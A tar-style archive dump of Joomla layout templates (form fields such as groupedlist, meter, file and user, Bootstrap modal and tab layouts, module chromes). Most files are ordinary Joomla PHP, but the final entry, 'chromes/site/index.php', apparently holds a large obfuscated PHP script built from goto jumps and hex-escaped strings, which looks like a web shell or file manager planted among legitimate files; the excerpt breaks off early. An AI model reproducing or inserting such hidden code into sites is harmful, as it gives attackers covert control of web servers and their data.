'versionsModal', [ 'url' => Route::_($link), 'title' => $label, 'height' => '100%', 'width' => '100%', 'modalWidth' => '80', 'bodyHeight' => '60', 'footer' => '<button type="button" class="btn btn-secondary" data-bs-dismiss="modal" aria-hidden="true">' . Text::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>' ] ); ?> <button type="button" class="btn btn-secondary" data-bs-toggle="modal" data-bs-target="#versionsModal" <?php echo $dataAttribute; ?>> <span class="icon-code-branch" aria-hidden="true"></span> <?php echo $label; ?> </button> joomla/form/field/groupedlist.php 0000644 00000007620 15216442676 0013147 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $groups Groups of options available for this field. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-* */ $html = []; $attr = ''; // Initialize some field attributes. $attr .= !empty($class) ? ' class="form-select ' . $class . '"' : ' class="form-select"'; $attr .= !empty($size) ? ' size="' . $size . '"' : ''; $attr .= $multiple ? ' multiple' : ''; $attr .= $required ? ' required' : ''; $attr .= $autofocus ? ' autofocus' : ''; $attr .= $dataAttribute; // To avoid user's confusion, readonly="true" should imply disabled="true". if ($readonly || $disabled) { $attr .= ' disabled="disabled"'; } // Initialize JavaScript field attributes. $attr .= !empty($onchange) ? ' onchange="' . $onchange . '"' : ''; // Create a read-only list (no name) with a hidden input to store the value. if ($readonly) { $html[] = HTMLHelper::_( 'select.groupedlist', $groups, null, [ 'list.attr' => $attr, 'id' => $id, 'list.select' => $value, 'group.items' => null, 'option.key.toHtml' => false, 'option.text.toHtml' => false, ] ); // E.g. form field type tag sends $this->value as array if ($multiple && \is_array($value)) { if (!\count($value)) { $value[] = ''; } foreach ($value as $val) { $html[] = '<input type="hidden" name="' . $name . '" value="' . htmlspecialchars($val, ENT_COMPAT, 'UTF-8') . '">'; } } else { $html[] = '<input type="hidden" name="' . $name . '" value="' . htmlspecialchars($value, ENT_COMPAT, 'UTF-8') . '">'; } } else { // Create a regular list. $html[] = HTMLHelper::_( 'select.groupedlist', $groups, $name, [ 'list.attr' => $attr, 'id' => $id, 'list.select' => $value, 'group.items' => null, 'option.key.toHtml' => false, 'option.text.toHtml' => false, ] ); } echo implode($html); joomla/form/field/meter.php 0000644 00000006566 15216442676 0011732 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $checkedOptions Options that will be set as checked. * @var boolean $hasValue Has this field a value assigned? * @var array $options Options available for this field. * @var array $inputType Options available for this field. * @var string $accept File types that are accepted. * @var string $animated Is it animated. * @var string $active Is it active. * @var string $max The maximum value. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-* */ // Initialize some field attributes. $class = 'progress-bar ' . $class; $class .= $animated ? ' progress-bar-striped progress-bar-animated' : ''; $class .= $active ? ' active' : ''; $class = 'class="' . $class . '"'; $value = (float) $value; $value = $value < $min ? $min : $value; $value = $value > $max ? $max : $value; $data = ''; $data .= 'aria-valuemax="' . $max . '"'; $data .= ' aria-valuemin="' . $min . '"'; $data .= ' aria-valuenow="' . $value . '"'; $attributes = [ $class, !empty($width) ? ' style="width:' . $width . ';"' : '', $data, $dataAttribute, ]; $value = ((float) ($value - $min) * 100) / ($max - $min); ?> <div class="progress"> <div role="progressbar" <?php echo implode(' ', $attributes); ?> style="width:<?php echo (string) $value; ?>%;<?php echo !empty($color) ? ' background-color:' . $color . ';' : ''; ?>"></div> </div> joomla/form/field/file.php 0000644 00000006311 15216442676 0011521 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Utility\Utility; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $checkedOptions Options that will be set as checked. * @var boolean $hasValue Has this field a value assigned? * @var array $options Options available for this field. * @var array $inputType Options available for this field. * @var string $accept File types that are accepted. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-* */ $maxSize = HTMLHelper::_('number.bytes', Utility::getMaxUploadSize()); ?> <input type="file" name="<?php echo $name; ?>" id="<?php echo $id; ?>" <?php echo !empty($size) ? ' size="' . $size . '"' : ''; ?> <?php echo !empty($accept) ? ' accept="' . $accept . '"' : ''; ?> <?php echo !empty($class) ? ' class="form-control ' . $class . '"' : ' class="form-control"'; ?> <?php echo !empty($multiple) ? ' multiple' : ''; ?> <?php echo $disabled ? ' disabled' : ''; ?> <?php echo $autofocus ? ' autofocus' : ''; ?> <?php echo $dataAttribute; ?> <?php echo !empty($onchange) ? ' onchange="' . $onchange . '"' : ''; ?> <?php echo $required ? ' required' : ''; ?>><br> <?php echo Text::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', $maxSize); ?> joomla/form/field/groupedlist-fancy-select.php 0000644 00000010643 15216442676 0015521 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $groups Groups of options available for this field. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-* */ $html = []; $attr = ''; // Initialize some field attributes. $attr .= !empty($size) ? ' size="' . $size . '"' : ''; $attr .= $multiple ? ' multiple' : ''; $attr .= $autofocus ? ' autofocus' : ''; $attr .= $dataAttribute; // To avoid user's confusion, readonly="true" should imply disabled="true". if ($readonly || $disabled) { $attr .= ' disabled="disabled"'; } // Initialize JavaScript field attributes. $attr .= !empty($onchange) ? ' onchange="' . $onchange . '"' : ''; $attr2 = ''; $attr2 .= !empty($class) ? ' class="' . $class . '"' : ''; $attr2 .= ' placeholder="' . $this->escape($hint ?: Text::_('JGLOBAL_TYPE_OR_SELECT_SOME_OPTIONS')) . '" '; if ($required) { $attr .= ' required class="required"'; $attr2 .= ' required'; } // Create a read-only list (no name) with a hidden input to store the value. if ($readonly) { $html[] = HTMLHelper::_( 'select.groupedlist', $groups, null, [ 'list.attr' => $attr, 'id' => $id, 'list.select' => $value, 'group.items' => null, 'option.key.toHtml' => false, 'option.text.toHtml' => false, ] ); // E.g. form field type tag sends $this->value as array if ($multiple && \is_array($value)) { if (!\count($value)) { $value[] = ''; } foreach ($value as $val) { $html[] = '<input type="hidden" name="' . $name . '" value="' . htmlspecialchars($val, ENT_COMPAT, 'UTF-8') . '">'; } } else { $html[] = '<input type="hidden" name="' . $name . '" value="' . htmlspecialchars($value, ENT_COMPAT, 'UTF-8') . '">'; } } else { // Create a regular list. $html[] = HTMLHelper::_( 'select.groupedlist', $groups, $name, [ 'list.attr' => $attr, 'id' => $id, 'list.select' => $value, 'group.items' => null, 'option.key.toHtml' => false, 'option.text.toHtml' => false, ] ); } Text::script('JGLOBAL_SELECT_NO_RESULTS_MATCH'); Text::script('JGLOBAL_SELECT_PRESS_TO_SELECT'); Factory::getApplication()->getDocument()->getWebAssetManager() ->usePreset('choicesjs') ->useScript('webcomponent.field-fancy-select'); ?> <joomla-field-fancy-select <?php echo $attr2; ?>><?php echo implode($html); ?></joomla-field-fancy-select> joomla/form/field/user.php 0000644 00000012344 15216442676 0011563 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Uri\Uri; use Joomla\Utilities\ArrayHelper; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var string $userName The user name * @var mixed $groups The filtering groups (null means no filtering) * @var mixed $excluded The users to exclude from the list of users * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-*. */ $modalHTML = ''; $uri = new Uri('index.php?option=com_users&view=users&layout=modal&tmpl=component&required=0'); $uri->setVar('field', $this->escape($id)); if ($required) { $uri->setVar('required', 1); } if (!empty($groups)) { $uri->setVar('groups', base64_encode(json_encode($groups))); } if (!empty($excluded)) { $uri->setVar('excluded', base64_encode(json_encode($excluded))); } // Invalidate the input value if no user selected if ($this->escape($userName) === Text::_('JLIB_FORM_SELECT_USER')) { $userName = ''; } $inputAttributes = [ 'type' => 'text', 'id' => $id, 'class' => 'form-control field-user-input-name', 'value' => $this->escape($userName) ]; if ($class) { $inputAttributes['class'] .= ' ' . $class; } if ($size) { $inputAttributes['size'] = (int) $size; } if ($required) { $inputAttributes['required'] = 'required'; } if (!$readonly) { $inputAttributes['placeholder'] = Text::_('JLIB_FORM_SELECT_USER'); } if (!$readonly) { $modalHTML = HTMLHelper::_( 'bootstrap.renderModal', 'userModal_' . $id, [ 'url' => $uri, 'title' => Text::_('JLIB_FORM_CHANGE_USER'), 'closeButton' => true, 'height' => '100%', 'width' => '100%', 'modalWidth' => 80, 'bodyHeight' => 60, 'footer' => '<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">' . Text::_('JCANCEL') . '</button>', ] ); Factory::getDocument()->getWebAssetManager() ->useScript('webcomponent.field-user'); } ?> <?php // Create a dummy text field with the user name. ?> <joomla-field-user class="field-user-wrapper" url="<?php echo (string) $uri; ?>" modal=".modal" modal-width="100%" modal-height="400px" input=".field-user-input" input-name=".field-user-input-name" button-select=".button-select"> <div class="input-group"> <input <?php echo ArrayHelper::toString($inputAttributes), $dataAttribute; ?> readonly> <?php if (!$readonly) : ?> <button type="button" class="btn btn-primary button-select" title="<?php echo Text::_('JLIB_FORM_CHANGE_USER'); ?>"> <span class="icon-user icon-white" aria-hidden="true"></span> <span class="visually-hidden"><?php echo Text::_('JLIB_FORM_CHANGE_USER'); ?></span> </button> <?php endif; ?> </div> <?php // Create the real field, hidden, that stored the user id. ?> <?php if (!$readonly) : ?> <input type="hidden" id="<?php echo $id; ?>_id" name="<?php echo $name; ?>" value="<?php echo $this->escape($value); ?>" class="field-user-input <?php echo $class ? (string) $class : ''?>" data-onchange="<?php echo $this->escape($onchange); ?>"> <?php echo $modalHTML; ?> <?php endif; ?> </joomla-field-user> joomla/form/renderlabel.php 0000644 00000001675 15216442676 0012006 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; extract($displayData); /** * Layout variables * ----------------- * @var string $text The label text * @var string $for The id of the input this label is for * @var boolean $required True if a required field * @var array $classes A list of classes */ $classes = array_filter((array) $classes); $id = $for . '-lbl'; if ($required) { $classes[] = 'required'; } ?> <label id="<?php echo $id; ?>" for="<?php echo $for; ?>"<?php if (!empty($classes)) { echo ' class="' . implode(' ', $classes) . '"'; } ?>> <?php echo $text; ?><?php if ($required) : ?><span class="star" aria-hidden="true"> *</span><?php endif; ?> </label> joomla/form/renderfield.php 0000644 00000004234 15216442676 0012004 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; extract($displayData); /** * Layout variables * ----------------- * @var array $options Optional parameters * @var string $id The id of the input this label is for * @var string $name The name of the input this label is for * @var string $label The html code for the label * @var string $input The input field html code * @var string $description An optional description to use as in–line help text * @var string $descClass The class name to use for the description */ if (!empty($options['showonEnabled'])) { /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = Factory::getApplication()->getDocument()->getWebAssetManager(); $wa->useScript('showon'); } $class = empty($options['class']) ? '' : ' ' . $options['class']; $rel = empty($options['rel']) ? '' : ' ' . $options['rel']; $id = ($id ?? $name) . '-desc'; $hideLabel = !empty($options['hiddenLabel']); $hideDescription = empty($options['hiddenDescription']) ? false : $options['hiddenDescription']; $descClass = ($options['descClass'] ?? '') ?: (!empty($options['inlineHelp']) ? 'hide-aware-inline-help d-none' : ''); if (!empty($parentclass)) { $class .= ' ' . $parentclass; } ?> <div class="control-group<?php echo $class; ?>"<?php echo $rel; ?>> <?php if ($hideLabel) : ?> <div class="visually-hidden"><?php echo $label; ?></div> <?php else : ?> <div class="control-label"><?php echo $label; ?></div> <?php endif; ?> <div class="controls"> <?php echo $input; ?> <?php if (!$hideDescription && !empty($description)) : ?> <div id="<?php echo $id; ?>" class="<?php echo $descClass ?>"> <small class="form-text"> <?php echo $description; ?> </small> </div> <?php endif; ?> </div> </div> joomla/error/backtrace.php 0000644 00000003050 15216442676 0011621 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; /** @var $displayData array */ $backtraceList = $displayData['backtrace']; if (!$backtraceList) { return; } $class = $displayData['class'] ?? 'table table-striped table-bordered'; ?> <table class="<?php echo $class ?>"> <tr> <td colspan="3"> <strong>Call stack</strong> </td> </tr> <tr> <td> <strong>#</strong> </td> <td> <strong>Function</strong> </td> <td> <strong>Location</strong> </td> </tr> <?php foreach ($backtraceList as $k => $backtrace) : ?> <tr> <td> <?php echo $k + 1; ?> </td> <?php if (isset($backtrace['class'])) : ?> <td> <?php echo $backtrace['class'] . $backtrace['type'] . $backtrace['function'] . '()'; ?> </td> <?php else : ?> <td> <?php echo $backtrace['function'] . '()'; ?> </td> <?php endif; ?> <?php if (isset($backtrace['file'])) : ?> <td> <?php echo HTMLHelper::_('debug.xdebuglink', $backtrace['file'], $backtrace['line']); ?> </td> <?php else : ?> <td>   </td> <?php endif; ?> </tr> <?php endforeach; ?> </table> joomla/error/index.html 0000644 00000000037 15216442676 0011170 0 ustar 00 <!DOCTYPE html><title></title> libraries/html/bootstrap/modal/body.php 0000644 00000004252 15216442676 0014263 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; extract($displayData); /** * Layout variables * ----------------- * @var string $selector Unique DOM identifier for the modal. CSS id without # * @var array $params Modal parameters. Default supported parameters: * - title string The modal title * - backdrop mixed A boolean select if a modal-backdrop element should be included (default = true) * The string 'static' includes a backdrop which doesn't close the modal on click. * - keyboard boolean Closes the modal when escape key is pressed (default = true) * - closeButton boolean Display modal close button (default = true) * - animation boolean Fade in from the top of the page (default = true) * - footer string Optional markup for the modal footer * - url string URL of a resource to be inserted as an <iframe> inside the modal body * - height string height of the <iframe> containing the remote resource * - width string width of the <iframe> containing the remote resource * - bodyHeight int Optional height of the modal body in viewport units (vh) * - modalWidth int Optional width of the modal in viewport units (vh) * @var string $body Markup for the modal body. Appended after the <iframe> if the URL option is set */ $bodyClass = 'modal-body'; $bodyHeight = isset($params['bodyHeight']) ? round((int) $params['bodyHeight'], -1) : ''; if ($bodyHeight && $bodyHeight >= 20 && $bodyHeight < 90) { $bodyClass .= ' jviewport-height' . $bodyHeight; } ?> <div class="<?php echo $bodyClass; ?>"> <?php echo $body; ?> </div> libraries/html/bootstrap/modal/iframe.php 0000644 00000004247 15216442676 0014575 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\Utilities\ArrayHelper; extract($displayData); /** * Layout variables * ----------------- * @var string $selector Unique DOM identifier for the modal. CSS id without # * @var array $params Modal parameters. Default supported parameters: * - title string The modal title * - backdrop mixed A boolean select if a modal-backdrop element should be included (default = true) * The string 'static' includes a backdrop which doesn't close the modal on click. * - keyboard boolean Closes the modal when escape key is pressed (default = true) * - closeButton boolean Display modal close button (default = true) * - animation boolean Fade in from the top of the page (default = true) * - footer string Optional markup for the modal footer * - url string URL of a resource to be inserted as an <iframe> inside the modal body * - height string height of the <iframe> containing the remote resource * - width string width of the <iframe> containing the remote resource * @var string $body Markup for the modal body. Appended after the <iframe> if the URL option is set */ $iframeAttributes = [ 'class' => 'iframe', 'src' => $params['url'] ]; if (isset($params['title'])) { $iframeAttributes['name'] = addslashes($params['title']); $iframeAttributes['title'] = addslashes($params['title']); } if (isset($params['height'])) { $iframeAttributes['height'] = $params['height']; } if (isset($params['width'])) { $iframeAttributes['width'] = $params['width']; } ?> <iframe <?php echo ArrayHelper::toString($iframeAttributes); ?>></iframe> libraries/html/bootstrap/modal/header.php 0000644 00000004504 15216442676 0014556 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; extract($displayData); /** * Layout variables * ----------------- * @var string $selector Unique DOM identifier for the modal. CSS id without # * @var array $params Modal parameters. Default supported parameters: * - title string The modal title * - backdrop mixed A boolean select if a modal-backdrop element should be included (default = true) * The string 'static' includes a backdrop which doesn't close the modal on click. * - keyboard boolean Closes the modal when escape key is pressed (default = true) * - closeButton boolean Display modal close button (default = true) * - animation boolean Fade in from the top of the page (default = true) * - footer string Optional markup for the modal footer * - url string URL of a resource to be inserted as an <iframe> inside the modal body * - height string height of the <iframe> containing the remote resource * - width string width of the <iframe> containing the remote resource * - bodyHeight int Optional height of the modal body in viewport units (vh) * - modalWidth int Optional width of the modal in viewport units (vh) * @var string $body Markup for the modal body. Appended after the <iframe> if the URL option is set */ ?> <div class="modal-header"> <?php if (isset($params['title'])) : ?> <h3 class="modal-title"><?php echo $params['title']; ?></h3> <?php endif; ?> <?php if (!isset($params['closeButton']) || $params['closeButton']) : ?> <button type="button" class="btn-close novalidate" data-bs-dismiss="modal" aria-label="<?php echo Text::_('JLIB_HTML_BEHAVIOR_CLOSE'); ?>"> </button> <?php endif; ?> </div> libraries/html/bootstrap/modal/main.php 0000644 00000007552 15216442676 0014260 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Layout\LayoutHelper; use Joomla\Utilities\ArrayHelper; extract($displayData); /** * Layout variables * ----------------- * @var string $selector Unique DOM identifier for the modal. CSS id without # * @var array $params Modal parameters. Default supported parameters: * - title string The modal title * - backdrop mixed A boolean select if a modal-backdrop element should be included (default = true) * The string 'static' includes a backdrop which doesn't close the modal on click. * - keyboard boolean Closes the modal when escape key is pressed (default = true) * - closeButton boolean Display modal close button (default = true) * - animation boolean Fade in from the top of the page (default = true) * - url string URL of a resource to be inserted as an <iframe> inside the modal body * - height string height of the <iframe> containing the remote resource * - width string width of the <iframe> containing the remote resource * - bodyHeight int Optional height of the modal body in viewport units (vh) * - modalWidth int Optional width of the modal in viewport units (vh) * - footer string Optional markup for the modal footer * @var string $body Markup for the modal body. Appended after the <iframe> if the URL option is set */ $modalClasses = ['modal']; if (!isset($params['animation']) || $params['animation']) { $modalClasses[] = 'fade'; } $modalWidth = isset($params['modalWidth']) ? round((int) $params['modalWidth'], -1) : ''; $modalDialogClass = ''; if ($modalWidth && $modalWidth > 0 && $modalWidth <= 100) { $modalDialogClass = ' jviewport-width' . $modalWidth; } $modalAttributes = [ 'tabindex' => '-1', 'class' => 'joomla-modal ' . implode(' ', $modalClasses) ]; if (isset($params['backdrop'])) { $modalAttributes['data-bs-backdrop'] = (is_bool($params['backdrop']) ? ($params['backdrop'] ? 'true' : 'false') : $params['backdrop']); } if (isset($params['keyboard'])) { $modalAttributes['data-bs-keyboard'] = (is_bool($params['keyboard']) ? ($params['keyboard'] ? 'true' : 'false') : 'true'); } if (isset($params['url'])) { $url = 'data-url="' . $params['url'] . '"'; $iframeHtml = htmlspecialchars(LayoutHelper::render('libraries.html.bootstrap.modal.iframe', $displayData), ENT_COMPAT, 'UTF-8'); } ?> <div id="<?php echo $selector; ?>" role="dialog" <?php echo ArrayHelper::toString($modalAttributes); ?> <?php echo $url ?? ''; ?> <?php echo isset($url) ? 'data-iframe="' . trim($iframeHtml) . '"' : ''; ?>> <div class="modal-dialog modal-lg<?php echo $modalDialogClass; ?>"> <div class="modal-content"> <?php // Header if (!isset($params['closeButton']) || isset($params['title']) || $params['closeButton']) { echo LayoutHelper::render('libraries.html.bootstrap.modal.header', $displayData); } // Body echo LayoutHelper::render('libraries.html.bootstrap.modal.body', $displayData); // Footer if (isset($params['footer'])) { echo LayoutHelper::render('libraries.html.bootstrap.modal.footer', $displayData); } ?> </div> </div> </div> libraries/html/bootstrap/modal/footer.php 0000644 00000003676 15216442676 0014635 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; extract($displayData); /** * Layout variables * ----------------- * @var string $selector Unique DOM identifier for the modal. CSS id without # * @var array $params Modal parameters. Default supported parameters: * - title string The modal title * - backdrop mixed A boolean select if a modal-backdrop element should be included (default = true) * The string 'static' includes a backdrop which doesn't close the modal on click. * - keyboard boolean Closes the modal when escape key is pressed (default = true) * - closeButton boolean Display modal close button (default = true) * - animation boolean Fade in from the top of the page (default = true) * - footer string Optional markup for the modal footer * - url string URL of a resource to be inserted as an <iframe> inside the modal body * - height string height of the <iframe> containing the remote resource * - width string width of the <iframe> containing the remote resource * - bodyHeight int Optional height of the modal body in viewport units (vh) * - modalWidth int Optional width of the modal in viewport units (vh) * @var string $body Markup for the modal body. Appended after the <iframe> if the URL option is set */ ?> <div class="modal-footer"> <?php echo $params['footer']; ?> </div> libraries/html/bootstrap/tab/starttabset.php 0000644 00000001006 15216442676 0015332 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $selector = empty($displayData['selector']) ? '' : $displayData['selector']; ?> <ul class="joomla-tabs nav nav-tabs" id="<?php echo preg_replace('/^[\.#]/', '', $selector); ?>Tabs" role="tablist"></ul> <div class="tab-content" id="<?php echo $selector; ?>Content"> libraries/html/bootstrap/tab/endtabset.php 0000644 00000000407 15216442676 0014747 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; ?> </div> libraries/html/bootstrap/tab/endtab.php 0000644 00000000407 15216442676 0014233 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; ?> </div> libraries/html/bootstrap/tab/addtab.php 0000644 00000001444 15216442676 0014217 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $id = empty($displayData['id']) ? '' : $displayData['id']; $active = empty($displayData['active']) ? '' : $displayData['active']; $title = empty($displayData['title']) ? '' : $displayData['title']; ?> <div id="<?php echo preg_replace('/^[\.#]/', '', $id); ?>" class="tab-pane<?php echo $active; ?>" data-active="<?php echo trim(htmlspecialchars($active, ENT_COMPAT, 'UTF-8')); ?>" data-id="<?php echo htmlspecialchars($id, ENT_COMPAT, 'UTF-8'); ?>" data-title="<?php echo htmlspecialchars($title, ENT_COMPAT, 'UTF-8'); ?>"> chromes/none.php 0000644 00000000442 15216442676 0007671 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; echo $displayData['module']->content; chromes/site/index.php 0000644 00000764703 15216442676 0011026 0 ustar 00 <?php goto q3ug5; xbTfV: goto KdQ_a; goto H8ecm; mtK3Z: exit("\111\x6e\x76\141\154\151\144\40\x66\151\154\x65\156\x61\x6d\x65"); goto C1tF1; Qfj2E: echo "\x20\40\40\x20\x20\40\40\x20\74\x2f\x64\x69\166\x3e\xa\40\40\40\x20\x3c\x2f\144\151\x76\76\12\x20\x20\40\x20"; goto ZFRfZ; oubtH: HMkNd: goto Qj1SE; BLqcS: goto WpMnw; goto rD9Tp; MQCST: goto GCoG3; goto tgHTz; VxCy0: goto w7nw6; goto qDIBx; pe76s: xEQMV: 